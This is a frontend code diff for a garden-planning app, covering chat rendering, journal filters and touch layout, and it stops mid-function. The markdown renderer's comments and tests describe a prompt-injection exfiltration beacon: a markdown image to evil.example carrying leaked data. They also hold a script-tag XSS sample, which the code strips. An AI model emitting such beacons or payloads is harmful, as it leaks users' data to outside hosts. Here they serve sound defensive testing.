@@ -1,10 +1,17 @@
// Shared footer-action button styling for list cards (garden/plant), so the
// verbatim class strings don't drift between them.
//
// Sized for touch: a ~40px-tall tap target (min-h + py-2) rather than the old
// ~28px text-link row, which was easy to mis-tap on a phone (#105). The min-h is
// what guarantees the target even when the label is short.
const cardActionBase =
'inline-flex min-h-[2.5rem] items-center rounded-md px-3 py-2 text-sm font-medium ' +
'text-muted outline-none transition-colors focus-visible:ring-2 '
export const cardActionClass =
'rounded-md px-2.5 py-1 text-sm font-medium text-muted outline-none transition-colors ' +
'hover:bg-border/50 hover:text-fg focus-visible:ring-2 focus-visible:ring-accent/40'
cardActionBase + 'hover:bg-border/50 hover:text-fg focus-visible:ring-accent/40'
export const cardDangerClass =
'rounded-md px-2.5 py-1 text-sm font-medium text-muted outline-none transition-colors ' +
'hover:bg-red-500/10 hover:text-red-600 focus-visible:ring-2 focus-visible:ring-red-500/40 dark:hover:text-red-400'
cardActionBase +
'hover:bg-red-500/10 hover:text-red-600 focus-visible:ring-red-500/40 dark:hover:text-red-400'
+46 -7
View File
@@ -1,4 +1,4 @@
import { useEffect, useRef, useState, type ReactNode } from 'react'
import { Component, Suspense, useEffect, useRef, useState, type ReactNode } from 'react'
import { Alert } from '@/components/ui/Alert'
import { errorMessage } from '@/lib/api'
import { Button } from '@/components/ui/Button'
@@ -14,8 +14,31 @@ import {
type AgentTurn,
} from '@/lib/agent'
import { useUndo } from '@/lib/history'
import { lazyPage } from '@/lib/lazyPage'
import { UndoButton } from './UndoButton'
// Lazy so the markdown renderer + its ecosystem (~150 KB) loads only when an
// assistant message actually renders, not for everyone who opens the editor.
// lazyPage adds the stale-chunk recovery a plain lazy() lacks — a post-deploy
// chunk 404 would otherwise permanently break the assistant.
const MarkdownMessage = lazyPage(() => import('./MarkdownMessage'), 'MarkdownMessage')
/**
* Falls back to the raw message text if the markdown chunk can't load (a
* non-recoverable 404) or the renderer throws — a garbled reply should degrade to
* readable text, never take the whole editor down. Suspense handles the loading
* phase; this handles the failure one.
*/
class MarkdownBoundary extends Component<{ fallback: ReactNode; children: ReactNode }, { failed: boolean }> {
state = { failed: false }
static getDerivedStateFromError() {
return { failed: true }
}
render() {
return this.state.failed ? this.props.fallback : this.props.children
}
}
/**
* Talk to the garden assistant, in the editor beside the canvas.
*
@@ -106,8 +129,8 @@ export function ChatPanel({ gardenId, canEdit }: { gardenId: number; canEdit: bo
onError: (err) => setError(errorMessage(err, "Couldn't clear the conversation.")),
})
}
disabled={clear.isPending}
className="rounded px-1.5 py-0.5 text-xs text-muted outline-none hover:text-fg focus-visible:ring-2 focus-visible:ring-accent/40"
disabled={clear.isPending || !!pending}
className="rounded px-1.5 py-0.5 text-xs text-muted outline-none hover:text-fg focus-visible:ring-2 focus-visible:ring-accent/40 disabled:opacity-50"
>
Start over
</button>
@@ -120,7 +143,7 @@ export function ChatPanel({ gardenId, canEdit }: { gardenId: number; canEdit: bo
</p>
)}
<div className="flex min-h-0 flex-1 flex-col gap-2 overflow-y-auto">
<div className="flex min-h-0 flex-1 flex-col gap-3 overflow-y-auto">
{history.isPending && <p className="text-sm text-muted">Loading the conversation…</p>}
{/* A failed load rendering as an empty thread would look like the
conversation had been lost, which is a much worse thing to believe. */}
@@ -227,11 +250,27 @@ function Bubble({
<div className={cn('flex flex-col', mine ? 'items-end' : 'items-start')}>
<div
className={cn(
'max-w-[90%] whitespace-pre-wrap rounded-lg px-2.5 py-2 text-sm',
mine ? 'bg-accent/15 text-fg' : 'border border-border text-fg',
'rounded-lg px-2.5 py-2 text-sm',
// The user's own text is literal (their `*` shouldn't become a bullet)
// and hugs the right; the assistant's Markdown is rendered and gets the
// full width so a table has room.
mine
? 'max-w-[90%] whitespace-pre-wrap bg-accent/15 text-fg'
: 'w-full border border-border text-fg',
)}
>
{body}
{mine ? (
body
) : (
// Show the raw text until the renderer chunk arrives (Suspense), and fall
// back to it if the chunk can't load or the renderer throws (boundary) —
// either way the message is readable, never blank and never a crash.
<MarkdownBoundary fallback={<span className="whitespace-pre-wrap">{body}</span>}>
<Suspense fallback={<span className="whitespace-pre-wrap">{body}</span>}>
<MarkdownMessage>{body}</MarkdownMessage>
</Suspense>
</MarkdownBoundary>
)}
</div>
{children}
</div>
+11 -19
View File
@@ -1,5 +1,4 @@
import { Modal } from '@/components/ui/Modal'
import { Button } from '@/components/ui/Button'
import { ConfirmModal } from '@/components/ui/ConfirmModal'
import { useClearObject } from '@/lib/objects'
/** Confirm clearing every active plop from a focused bed (soft-remove — the rows
@@ -19,27 +18,20 @@ export function ClearBedModal({
}) {
const clear = useClearObject(gardenId)
return (
<Modal title="Clear bed" onClose={onClose} busy={clear.isPending}>
<div className="flex flex-col gap-4">
<ConfirmModal
title="Clear bed"
confirmLabel="Clear bed"
busyLabel="Clearing…"
confirmDisabled={plopCount === 0}
errorFallback="Could not clear the bed."
onConfirm={() => clear.mutateAsync(objectId)}
onClose={onClose}
>
<p className="text-sm text-muted">
Remove all <span className="font-medium text-fg">{plopCount}</span>{' '}
{plopCount === 1 ? 'plant' : 'plants'} from{' '}
<span className="font-medium text-fg">{objectName}</span>? They're marked removed but kept in history.
</p>
<div className="flex justify-end gap-2">
<Button type="button" variant="ghost" onClick={onClose} disabled={clear.isPending}>
Cancel
</Button>
<Button
type="button"
variant="danger"
disabled={clear.isPending || plopCount === 0}
onClick={() => clear.mutate(objectId, { onSuccess: onClose })}
>
{clear.isPending ? 'Clearing' : 'Clear bed'}
</Button>
</div>
</div>
</Modal>
</ConfirmModal>
)
}
+24 -7
View File
@@ -14,11 +14,17 @@ import { cn } from '@/lib/cn'
* - Selecting an object must land you in the inspector with no extra click.
* The editor watches the selection and switches to that tab itself, so the
* rail never becomes a thing you have to operate before you can edit.
* - The canvas has to stay worth watching while the agent edits it, so the
* rail is a fixed 20rem column and closes completely when nothing needs it.
* - The canvas has to stay worth watching while the agent edits it, so the rail
* closes completely when nothing needs it.
*
* On a phone the same tabs render in a bottom sheet, which is where the
* inspector already lived.
* Layout differs by breakpoint. Desktop: a fixed 20rem column beside the canvas.
* Phone: an in-flow PEEK (#101) — a capped-height panel the editor's flex column
* places BETWEEN the canvas and the always-visible mode bar, so the canvas
* shrinks to keep the garden visible above it and the mode bar reachable below,
* rather than a bottom sheet that covered the whole garden. `tall` raises that
* cap for panel modes (journal/history/assistant), where reading and typing are
* the task and a half-height peek felt cramped; the inspector keeps the shorter
* peek so the canvas it describes stays in view.
*/
export interface RailTab {
@@ -35,11 +41,14 @@ export function EditorRail({
activeId,
onActivate,
onClose,
tall = false,
}: {
tabs: RailTab[]
activeId: string
onActivate: (id: string) => void
onClose: () => void
/** Raise the mobile peek's height cap (panel modes want the room). */
tall?: boolean
}) {
const active = tabs.find((t) => t.id === activeId) ?? tabs[0]
if (!active) return null
@@ -47,9 +56,17 @@ export function EditorRail({
return (
<div
className={cn(
// Phone: a bottom sheet over the canvas. Desktop: a column beside it.
'fixed inset-x-0 bottom-0 z-30 flex max-h-[70vh] flex-col rounded-t-xl border-t border-border bg-surface shadow-lg',
'md:static md:max-h-none md:w-80 md:shrink-0 md:rounded-xl md:border md:shadow-sm',
// Phone: an in-flow PEEK — a capped-height panel that sits between the
// canvas and the always-visible mode bar (the editor's flex column places
// it there), so the garden stays visible above it and the mode bar stays
// reachable below. The canvas flexes to fill whatever's left. Desktop: a
// fixed-width column beside the canvas (the cap doesn't apply there).
'flex min-h-0 shrink-0 flex-col rounded-t-xl border-t border-border bg-surface shadow-lg',
// dvh, not vh: the enclosing editor column is dvh-bounded, and on mobile
// Safari/Chrome vh is the *largest* viewport, so a vh cap could overrun the
// visible area and shove the mode bar off-screen (same #85 reasoning).
tall ? 'max-h-[78dvh]' : 'max-h-[50dvh]',
'md:static md:max-h-none md:w-80 md:rounded-xl md:border md:shadow-sm',
)}
>
<div className="flex items-center gap-1 border-b border-border px-2 py-1.5">
+38 -6
View File
@@ -37,6 +37,8 @@ export function JournalPanel({
objects,
scopeObjectId,
onScopeChange,
scopePlantingId,
onScopePlantingChange,
}: {
gardenId: number
canEdit: boolean
@@ -46,19 +48,30 @@ export function JournalPanel({
/** Which bed the panel is filtered to, if any. */
scopeObjectId: number | null
onScopeChange: (id: number | null) => void
/** Which single plop the panel is filtered to, if any (#85). The store keeps
* this mutually exclusive with scopeObjectId. Required like its bed twin. */
scopePlantingId: number | null
onScopePlantingChange: (id: number | null) => void
}) {
// Date-range narrowing (#85): the backend and JournalFilter already supported
// from/to; they just had no UI. Empty inputs don't filter.
const [from, setFrom] = useState('')
const [to, setTo] = useState('')
const scopedObject = objects.find((o) => o.id === scopeObjectId) ?? null
// One source of scope priority — plop over bed — for both the filter and the
// composer's label, so they can't drift.
const scopeLabel = scopePlantingId != null ? 'this planting' : scopedObject ? objectDisplayName(scopedObject) : null
const filter = {
...(scopeObjectId != null ? { objectId: scopeObjectId } : {}),
...(scopePlantingId != null
? { plantingId: scopePlantingId }
: scopeObjectId != null
? { objectId: scopeObjectId }
: {}),
...(from ? { from } : {}),
...(to ? { to } : {}),
}
const journal = useJournal(gardenId, filter)
const entries = journal.data?.pages.flatMap((p) => p.entries) ?? []
const scopedObject = objects.find((o) => o.id === scopeObjectId) ?? null
return (
<div className="flex flex-col gap-3">
@@ -83,6 +96,19 @@ export function JournalPanel({
)}
</div>
{scopePlantingId != null && (
<div className="flex items-center justify-between gap-2 rounded-md bg-accent/10 px-2 py-1 text-xs">
<span className="text-accent-strong">Notes about one planting</span>
<button
type="button"
onClick={() => onScopePlantingChange(null)}
className="rounded px-1 text-muted outline-none hover:text-fg focus-visible:ring-2 focus-visible:ring-accent/40"
>
Show all
</button>
</div>
)}
<div className="flex items-center gap-2 text-xs text-muted">
<label className="flex items-center gap-1">
<span>From</span>
@@ -121,8 +147,9 @@ export function JournalPanel({
{canEdit && (
<Composer
gardenId={gardenId}
objectId={scopeObjectId}
scopeLabel={scopedObject ? objectDisplayName(scopedObject) : null}
objectId={scopePlantingId != null ? null : scopeObjectId}
plantingId={scopePlantingId}
scopeLabel={scopeLabel}
/>
)}
@@ -133,7 +160,9 @@ export function JournalPanel({
{journal.isSuccess && entries.length === 0 && (
<p className="text-sm text-muted">
{scopedObject
{scopePlantingId != null
? 'Nothing written about this planting yet.'
: scopedObject
? `Nothing written about ${objectDisplayName(scopedObject)} yet.`
: 'Nothing written yet. This is where what happened goes — when something went in, what came up, what the frost got. Next year you get to read it back.'}
</p>
@@ -174,10 +203,13 @@ export function JournalPanel({
function Composer({
gardenId,
objectId,
plantingId = null,
scopeLabel,
}: {
gardenId: number
objectId: number | null
/** When set, the note attaches to this plop rather than a bed (#85). */
plantingId?: number | null
scopeLabel: string | null
}) {
const create = useCreateJournalEntry(gardenId)
@@ -191,7 +223,7 @@ function Composer({
if (!text) return
setError(null)
create.mutate(
{ body: text, observedAt, objectId: objectId ?? undefined },
{ body: text, observedAt, objectId: objectId ?? undefined, plantingId: plantingId ?? undefined },
{
onSuccess: () => {
setBody('')
+60
View File
@@ -0,0 +1,60 @@
import { describe, expect, it } from 'vitest'
import { renderToStaticMarkup } from 'react-dom/server'
import { MarkdownMessage } from './MarkdownMessage'
// renderToStaticMarkup needs no DOM, so this runs in the default (node) env and
// proves the assistant's Markdown — GFM tables in particular — actually renders.
function render(md: string): string {
return renderToStaticMarkup(<MarkdownMessage>{md}</MarkdownMessage>)
}
describe('MarkdownMessage', () => {
it('renders a GFM table with styled cells', () => {
const html = render('| Bed | Plant |\n| --- | --- |\n| North | Garlic |')
expect(html).toContain('<table')
expect(html).toContain('border-collapse')
expect(html).toContain('<th')
expect(html).toContain('<td')
expect(html).toContain('Garlic')
// Wide tables scroll inside their own box rather than blowing out the bubble.
expect(html).toContain('overflow-x-auto')
})
it('renders inline formatting and lists', () => {
const html = render('**bold** and *italic*\n\n- one\n- two')
expect(html).toContain('<strong')
expect(html).toContain('<em')
expect(html).toContain('<ul')
expect(html).toContain('<li')
})
it('does not emit raw HTML from the model (no rehype-raw)', () => {
const html = render('Hi <script>alert(1)</script> <b>x</b>')
expect(html).not.toContain('<script>')
expect(html).not.toContain('<b>x</b>') // the literal tag is escaped, not rendered
})
it('opens links safely in a new tab', () => {
const html = render('[seeds](https://example.com)')
expect(html).toContain('href="https://example.com"')
expect(html).toContain('rel="noopener noreferrer"')
})
it('does not render images (no auto-loading exfiltration beacon)', () => {
// A prompt-injected reply could embed `![](https://evil/?leak=…)`; the browser
// would auto-fetch it, leaking that the message was viewed (and anything smuggled
// into the URL). We forbid <img> entirely, so the beacon never fires.
const html = render('before ![pixel](https://evil.example/leak?data=secret) after')
expect(html).not.toContain('<img')
expect(html).not.toContain('evil.example')
// Surrounding prose still renders.
expect(html).toContain('before')
expect(html).toContain('after')
})
it('honours GFM column alignment', () => {
const html = render('| L | C | R |\n| :-- | :--: | --: |\n| a | b | c |')
expect(html).toContain('text-align:center')
expect(html).toContain('text-align:right')
})
})
+109
View File
@@ -0,0 +1,109 @@
import { memo, type ReactNode } from 'react'
import ReactMarkdown, { type Components } from 'react-markdown'
import remarkGfm from 'remark-gfm'
// Hoisted so they're not re-created every render (which would defeat both React's
// and ReactMarkdown's memoization).
const remarkPlugins = [remarkGfm]
const CODE_BLOCK = /language-/
// The assistant's replies are never trusted markup: their content can be steered
// by anything the agent read (a shared garden's notes, a seed vendor page). So we
// render Markdown but NOT raw HTML (no rehype-raw), and — belt to that — forbid
// <img>, whose auto-loading `src` is a prompt-injection exfiltration beacon
// (`![](https://evil/?leak=…)`); the assistant has no reason to emit images.
const disallowedElements = ['img']
// Tailwind's reset strips default list/table styling, so every element the
// assistant actually uses is restyled here, scaled for a chat bubble. Wide
// content (tables, code) scrolls in its own box so the bubble never blows out.
const bigHeading = ({ children }: { children?: ReactNode }) => (
<h4 className="mb-1 mt-2 text-sm font-semibold first:mt-0">{children}</h4>
)
const smallHeading = ({ children }: { children?: ReactNode }) => (
<h5 className="mb-1 mt-1.5 text-xs font-semibold uppercase tracking-wide text-muted first:mt-0">
{children}
</h5>
)
const components: Components = {
p: ({ children }) => <p className="my-1.5 first:mt-0 last:mb-0">{children}</p>,
a: ({ href, children }) => (
<a
href={href}
target="_blank"
rel="noopener noreferrer"
className="text-accent-strong underline underline-offset-2"
>
{children}
</a>
),
ul: ({ children }) => <ul className="my-1.5 list-disc pl-5">{children}</ul>,
ol: ({ children, start }) => (
<ol start={start} className="my-1.5 list-decimal pl-5">
{children}
</ol>
),
li: ({ children }) => <li className="my-0.5">{children}</li>,
strong: ({ children }) => <strong className="font-semibold">{children}</strong>,
em: ({ children }) => <em className="italic">{children}</em>,
h1: bigHeading,
h2: bigHeading,
h3: bigHeading,
h4: smallHeading,
h5: smallHeading,
h6: smallHeading,
blockquote: ({ children }) => (
<blockquote className="my-1.5 border-l-2 border-border pl-2 text-muted">{children}</blockquote>
),
hr: () => <hr className="my-2 border-border" />,
code: ({ className, children }) => {
// A fenced block is wrapped by <pre> (styled below) and carries either a
// language- class or a trailing newline; inline code is a single-line bare
// <code> and gets the pill treatment. (The newline check catches fences with
// no info-string, which have no language- class.)
const isBlock = CODE_BLOCK.test(className ?? '') || String(children).includes('\n')
if (isBlock) return <code className={className}>{children}</code>
return (
<code className="rounded bg-border/60 px-1 py-0.5 font-mono text-[0.85em]">{children}</code>
)
},
pre: ({ children }) => (
<pre className="my-1.5 overflow-x-auto rounded-md bg-border/40 p-2 font-mono text-xs">
{children}
</pre>
),
table: ({ children }) => (
<div className="my-1.5 overflow-x-auto">
<table className="w-full border-collapse text-xs">{children}</table>
</div>
),
// Pass `style` through: GFM column alignment (`:---:` / `---:`) arrives as
// style.textAlign, and dropping it would silently discard it.
th: ({ children, style }) => (
<th style={style} className="border border-border px-2 py-1 font-semibold">
{children}
</th>
),
td: ({ children, style }) => (
<td style={style} className="border border-border px-2 py-1 align-top">
{children}
</td>
),
}
/** Render one assistant message body as Markdown (GFM). Memoized so typing in the
* composer doesn't re-parse every message in the thread. */
export const MarkdownMessage = memo(function MarkdownMessage({ children }: { children: string }) {
return (
<div className="leading-relaxed">
<ReactMarkdown
remarkPlugins={remarkPlugins}
disallowedElements={disallowedElements}
components={components}
>
{children}
</ReactMarkdown>
</div>
)
})
+12
View File
@@ -25,6 +25,7 @@ export function PlopInspector({
unit,
onChangePlant,
onClose,
onAddNote,
readOnly = false,
}: {
plop: EditorPlanting
@@ -33,6 +34,11 @@ export function PlopInspector({
unit: UnitPref
onChangePlant: () => void
onClose: () => void
/** Scope the journal to this plop and open it — the plop parallel of the bed
* inspector's "add note" (#85). Offered to viewers too (to READ the plop's
* notes, like the bed inspector does); the journal's composer is separately
* gated on edit rights, so a viewer just sees the entries. */
onAddNote?: () => void
readOnly?: boolean
}) {
const update = useUpdatePlanting(gardenId)
@@ -172,6 +178,12 @@ export function PlopInspector({
/>
</fieldset>
{onAddNote && (
<Button variant="ghost" className="justify-start px-2 py-1 text-sm" onClick={onAddNote}>
📓 {readOnly ? 'Notes about this plant' : 'Add a note about this plant'}
</Button>
)}
{!readOnly && (
<Button
variant="ghost"
+29
View File
@@ -0,0 +1,29 @@
import { PlantChip } from '@/components/plants/PlantChip'
import type { Plant } from '@/lib/plants'
/**
* A quick strip of the plants you've most recently planted IN THIS GARDEN (#100),
* so re-placing "more of the same" is one tap instead of a trip through the
* catalog or the manual tray. Derived from actual plantings (see
* recentlyPlantedIds), newest first; renders nothing until something's planted.
* Tap a chip to arm it for placement (the armed one is highlighted).
*/
export function RecentPlants({
plants,
armedPlantId,
onArm,
}: {
plants: Plant[]
armedPlantId: number | null
onArm: (plant: Plant) => void
}) {
if (plants.length === 0) return null
return (
<div className="flex items-center gap-1.5 overflow-x-auto">
<span className="shrink-0 text-[0.7rem] font-medium uppercase tracking-wide text-muted">Recent</span>
{plants.map((p) => (
<PlantChip key={p.id} plant={p} active={p.id === armedPlantId} onArm={onArm} />
))}
</div>
)
}
+10 -19
View File
@@ -1,5 +1,5 @@
import { cn } from '@/lib/cn'
import { PlantIcon } from '@/components/plants/PlantIcon'
import { PlantChip } from '@/components/plants/PlantChip'
import type { Plant } from '@/lib/plants'
/**
@@ -26,28 +26,19 @@ export function SeedTray({
{trayPlants.map((p) => {
const active = p.id === armedPlantId
return (
<span
key={p.id}
className={cn(
'inline-flex items-center rounded-full border text-xs transition-colors',
active ? 'border-accent bg-accent/10 text-accent-strong' : 'border-border bg-surface text-fg',
)}
>
<button
type="button"
onClick={() => onArm(p)}
aria-pressed={active}
title={active ? `Placing ${p.name}` : `Place ${p.name}`}
className="flex items-center gap-1.5 rounded-full py-1 pl-1.5 pr-1 outline-none focus-visible:ring-2 focus-visible:ring-accent/40"
>
<PlantIcon color={p.color} icon={p.icon} className="h-5 w-5 rounded-full text-[0.65rem]" />
<span className="max-w-[6rem] truncate font-medium">{p.name}</span>
</button>
<span key={p.id} className="inline-flex items-center">
{/* Flat right edge so the remove button below seams into one pill. */}
<PlantChip plant={p} active={active} onArm={onArm} rounded={false} />
<button
type="button"
onClick={() => onRemove(p.id)}
aria-label={`Remove ${p.name} from tray`}
className="rounded-full px-1.5 py-1 text-muted outline-none hover:text-fg focus-visible:ring-2 focus-visible:ring-accent/40"
className={cn(
'rounded-r-full border border-l-0 px-1.5 py-1 text-xs outline-none transition-colors focus-visible:ring-2 focus-visible:ring-accent/40',
active
? 'border-accent bg-accent/10 text-accent-strong hover:text-fg'
: 'border-border bg-surface text-muted hover:text-fg',
)}
>
</button>
+11 -1
View File
@@ -3,7 +3,17 @@
// one place instead of drifting between files.
export const SELECT_COLOR = '#2f7a3e' // selection stroke/handles
export const HANDLE_PX = 12 // on-screen size of a drag/resize handle
// Whether the primary pointer is a fingertip rather than a mouse — the one signal
// the touch affordances key off (bigger handles here, the on-screen nudge pad in
// the editor), so they can't disagree about what "touch" means. Read once at
// load; a device doesn't switch its primary pointer mid-session, and the optional
// chain keeps it false (mouse defaults) under test / SSR where matchMedia is absent.
export const isCoarsePointer =
typeof window !== 'undefined' && !!window.matchMedia?.('(pointer: coarse)').matches
// On-screen size of a drag/resize handle. Bigger on touch so a fingertip can
// actually grab a resize corner or the rotate knob — 12px is fine for a mouse but
// frustrating for a thumb (#104).
export const HANDLE_PX = isCoarsePointer ? 22 : 12
export const MIN_RADIUS_CM = 1 // smallest plop radius
export const DIMMED_OPACITY = 0.4 // non-focused objects/plops in focus mode
+12 -1
View File
@@ -59,6 +59,12 @@ interface EditorState {
journalObjectId: number | null
setJournalObjectId: (id: number | null) => void
// Which single plop the journal is filtered to, if any — the parallel of
// journalObjectId for a planting (#85). The two scopes are mutually exclusive
// (the setters clear each other), so the journal filter is never ambiguous.
journalPlantingId: number | null
setJournalPlantingId: (id: number | null) => void
// The plant armed for placing plops (set after the PlantPicker choice); stays
// armed for repeat-placement until cleared (Escape / done). null = not placing.
armedPlant: Plant | null
@@ -116,7 +122,11 @@ export const useEditorStore = create<EditorState>((set) => ({
setSeasonYear: (year) => set({ seasonYear: year }),
journalObjectId: null,
setJournalObjectId: (id) => set({ journalObjectId: id }),
// Scoping to a bed clears any plop scope, so only one is ever active.
setJournalObjectId: (id) => set({ journalObjectId: id, journalPlantingId: null }),
journalPlantingId: null,
setJournalPlantingId: (id) => set({ journalPlantingId: id, journalObjectId: null }),
armedPlant: null,
armedLotId: null,
@@ -147,6 +157,7 @@ export const useEditorStore = create<EditorState>((set) => ({
railTab: null,
seasonYear: null,
journalObjectId: null,
journalPlantingId: null,
mode: DEFAULT_MODE,
}),
}))
+17 -8
View File
@@ -11,18 +11,27 @@ import { API_BASE, api } from './api'
import { gardenFullKey } from './objects'
import { historyKey } from './history'
const capabilitiesSchema = z.object({ agent: z.boolean() })
// What this instance can actually do, so the UI offers only what works: `agent`
// (the assistant is live now) and `vision` (a seed-packet scan will work). Both
// default to false so a partial/older response just hides the feature rather
// than failing the whole parse.
const capabilitiesSchema = z.object({
agent: z.boolean().default(false),
vision: z.boolean().default(false),
})
export type Capabilities = z.infer<typeof capabilitiesSchema>
export const capabilitiesKey = ['capabilities'] as const
/** Whether the assistant is live RIGHT NOW. Without it the panel isn't rendered
* at all — a dead button is worse than no button.
/** What this instance can do right now: whether the assistant is live and whether
* seed-packet scanning will work. Without a capability the matching feature isn't
* offered at all — a dead button is worse than no button.
*
* Not `staleTime: Infinity` any more: an admin can turn the assistant on or off
* in Settings (#79), so this must be able to change under a running page. The
* settings save invalidates this key directly; the finite staleTime just means
* another admin's change is picked up on the next focus/remount rather than
* never. */
* Not `staleTime: Infinity` any more: an admin can turn the assistant or a vision
* model on or off in Settings (#79), so this must be able to change under a
* running page. The settings save invalidates this key directly; the finite
* staleTime just means another admin's change is picked up on the next
* focus/remount rather than never. */
export function useCapabilities() {
return useQuery({
queryKey: capabilitiesKey,
+13 -6
View File
@@ -42,7 +42,8 @@ export type Params = Record<string, ParamValue>
export interface RequestOptions {
method?: 'GET' | 'POST' | 'PATCH' | 'PUT' | 'DELETE'
/** JSON request body; serialized and sent with a JSON content-type. */
/** Request body. A `FormData` goes out as multipart (a file upload — the
* seed-packet scan); anything else is serialized as JSON. */
body?: unknown
/** Query-string parameters; undefined/null/'' entries are omitted. */
params?: Params
@@ -90,9 +91,13 @@ function messageFrom(body: unknown, status: number): string {
export async function apiFetch<T>(path: string, opts: RequestOptions = {}): Promise<T> {
const { method = 'GET', body, params, signal } = opts
// Serialize before the try so a JSON.stringify failure (e.g. a circular value)
// surfaces as itself, not as a misleading "cannot reach the server" error.
const requestBody = body !== undefined ? JSON.stringify(body) : undefined
// FormData must go out as multipart with a browser-generated boundary, so it's
// sent as-is with NO content-type header (the browser sets it, boundary
// included). Everything else is JSON — serialized before the try so a
// JSON.stringify failure (e.g. a circular value) surfaces as itself, not as a
// misleading "cannot reach the server" error.
const isForm = typeof FormData !== 'undefined' && body instanceof FormData
const requestBody = body === undefined ? undefined : isForm ? body : JSON.stringify(body)
let res: Response
try {
@@ -102,9 +107,9 @@ export async function apiFetch<T>(path: string, opts: RequestOptions = {}): Prom
credentials: 'same-origin', // send the HttpOnly session cookie
headers: {
accept: 'application/json',
...(body !== undefined ? { 'content-type': 'application/json' } : {}),
...(body !== undefined && !isForm ? { 'content-type': 'application/json' } : {}),
},
body: requestBody,
body: requestBody as BodyInit | undefined,
})
} catch (err) {
if ((err as Error)?.name === 'AbortError') throw err
@@ -143,6 +148,8 @@ export const api = {
apiFetch<T>(path, { ...opts, method: 'GET' }),
post: <T>(path: string, body?: unknown, opts?: Omit<RequestOptions, 'method' | 'body'>) =>
apiFetch<T>(path, { ...opts, method: 'POST', body }),
postForm: <T>(path: string, form: FormData, opts?: Omit<RequestOptions, 'method' | 'body'>) =>
apiFetch<T>(path, { ...opts, method: 'POST', body: form }),
patch: <T>(path: string, body?: unknown, opts?: Omit<RequestOptions, 'method' | 'body'>) =>
apiFetch<T>(path, { ...opts, method: 'PATCH', body }),
delete: <T>(path: string, opts?: Omit<RequestOptions, 'method' | 'body'>) =>
+41
View File
@@ -0,0 +1,41 @@
import { lazy, type ComponentType } from 'react'
/**
* Lazily load a component by its named export, with recovery for the stale-chunk
* problem. A push to main redeploys, so a still-open app references chunk hashes
* the server has just replaced; that import 404s and React.lazy MEMOIZES the
* rejection, so a "Try again" can never recover — the user is stuck until a manual
* hard reload. On the first such failure we reload once (fetching the fresh index
* + hashes); a session flag stops a reload loop, and a success clears it so a
* later genuine failure can reload again.
*
* Shared by the route splits (router.tsx) and any feature-level lazy load (the
* assistant's Markdown renderer), so they all get the same recovery.
*/
export function lazyPage<M, K extends keyof M>(load: () => Promise<M>, name: K) {
// Preserve the component's own prop type so callers keep type-checked props
// (e.g. MarkdownMessage's `children: string`), rather than erasing to `{}`.
type C = M[K] extends ComponentType<infer P> ? ComponentType<P> : never
return lazy<C>(async () => {
try {
const mod = await load()
try {
sessionStorage.removeItem('pansy:chunk-reload')
} catch {
/* storage unavailable — fine */
}
return { default: mod[name] as C }
} catch (err) {
try {
if (!sessionStorage.getItem('pansy:chunk-reload')) {
sessionStorage.setItem('pansy:chunk-reload', '1')
window.location.reload()
return await new Promise<{ default: C }>(() => {}) // hold for the reload
}
} catch {
/* storage unavailable — fall through to surface the error */
}
throw err // already reloaded once (or can't); let the error boundary show it
}
})
}
+35 -1
View File
@@ -329,6 +329,38 @@ export function useUpdatePlanting(gardenId: number) {
}
const clearResultSchema = z.object({ cleared: z.number() })
const fillResultSchema = z.object({ created: z.number() })
/** Fill mode (#77/#100): the layout a region fill packs — fat clumps for quick
* coverage, or a grid of individual plants at true spacing you could plant from.
* Passed straight through to the server's `layout` field. */
export type FillLayout = 'clump' | 'grid'
/** Fill a whole plantable object with one plant at the chosen layout, via the
* same `POST /objects/:id/fill` the agent uses (region "all"). The response is
* just a count; invalidate rather than optimistically splice a hex lattice we'd
* have to recompute client-side. Returns how many plops it created. */
export function useFillObject(gardenId: number) {
const qc = useQueryClient()
return useMutation({
mutationFn: async ({
objectId,
plantId,
layout,
}: {
objectId: number
plantId: number
layout: FillLayout
}): Promise<number> => {
const res = fillResultSchema.parse(
await api.post(`/objects/${objectId}/fill`, { plantId, region: 'all', layout }),
)
return res.created
},
onSettled: () => qc.invalidateQueries({ queryKey: fullKey(gardenId) }),
onError: (err) => toast.error(objectErrorMessage(err, 'Could not fill the bed.')),
})
}
/** Clear a bed: soft-remove every active plop in an object (#82).
*
@@ -349,7 +381,9 @@ export function useClearObject(gardenId: number) {
return res.cleared
},
onSettled: () => qc.invalidateQueries({ queryKey: fullKey(gardenId) }),
onError: (err) => toast.error(objectErrorMessage(err, 'Could not clear the bed.')),
// No toast: the only caller (ClearBedModal → ConfirmModal) shows the failure
// inline in the dialog, which is more contextual than a detached toast — and
// two of them for one failure is worse than one.
})
}
+43 -1
View File
@@ -1,5 +1,47 @@
import { describe, expect, it } from 'vitest'
import { computeDerivedCount, effectiveCount } from './plantings'
import { computeDerivedCount, effectiveCount, recentlyPlantedIds, type EditorPlanting } from './plantings'
function plop(over: Partial<EditorPlanting>): EditorPlanting {
return {
id: 0,
objectId: 1,
plantId: 1,
xCm: 0,
yCm: 0,
radiusCm: 5,
count: null,
derivedCount: 1,
label: null,
plantedAt: null,
version: 1,
...over,
}
}
describe('recentlyPlantedIds', () => {
it('returns unique plant ids, newest planted first', () => {
const got = recentlyPlantedIds([
plop({ id: 1, plantId: 10, plantedAt: '2026-05-01' }),
plop({ id: 2, plantId: 20, plantedAt: '2026-07-01' }),
plop({ id: 3, plantId: 10, plantedAt: '2026-06-01' }), // dup plant, later
])
// 20 (Jul) before 10 (its most recent plop is Jun); 10 appears once.
expect(got).toEqual([20, 10])
})
it('breaks a same-day tie by newer plop id, and sorts undated last', () => {
const got = recentlyPlantedIds([
plop({ id: 5, plantId: 30, plantedAt: null }),
plop({ id: 6, plantId: 40, plantedAt: '2026-07-01' }),
plop({ id: 7, plantId: 50, plantedAt: '2026-07-01' }),
])
expect(got).toEqual([50, 40, 30]) // id 7 > 6 on the same day; undated 30 last
})
it('is empty for no plantings', () => {
expect(recentlyPlantedIds([])).toEqual([])
})
})
describe('computeDerivedCount', () => {
it('mirrors the server formula max(1, round(π·r²/spacing²))', () => {
+21
View File
@@ -60,6 +60,27 @@ export function effectiveCount(p: { count: number | null; derivedCount: number }
return p.count ?? p.derivedCount
}
/**
* Plant ids a garden has been planted with, most recent first and de-duplicated —
* the "what have I actually been planting here" quick list (#100). Ordered by
* plantedAt (a plop with no date sorts last), then by id so newer plops win a
* same-day tie. The caller resolves the ids to plants against the catalog.
*/
export function recentlyPlantedIds(plantings: EditorPlanting[]): number[] {
const sorted = [...plantings].sort(
(a, b) => (b.plantedAt ?? '').localeCompare(a.plantedAt ?? '') || b.id - a.id,
)
const seen = new Set<number>()
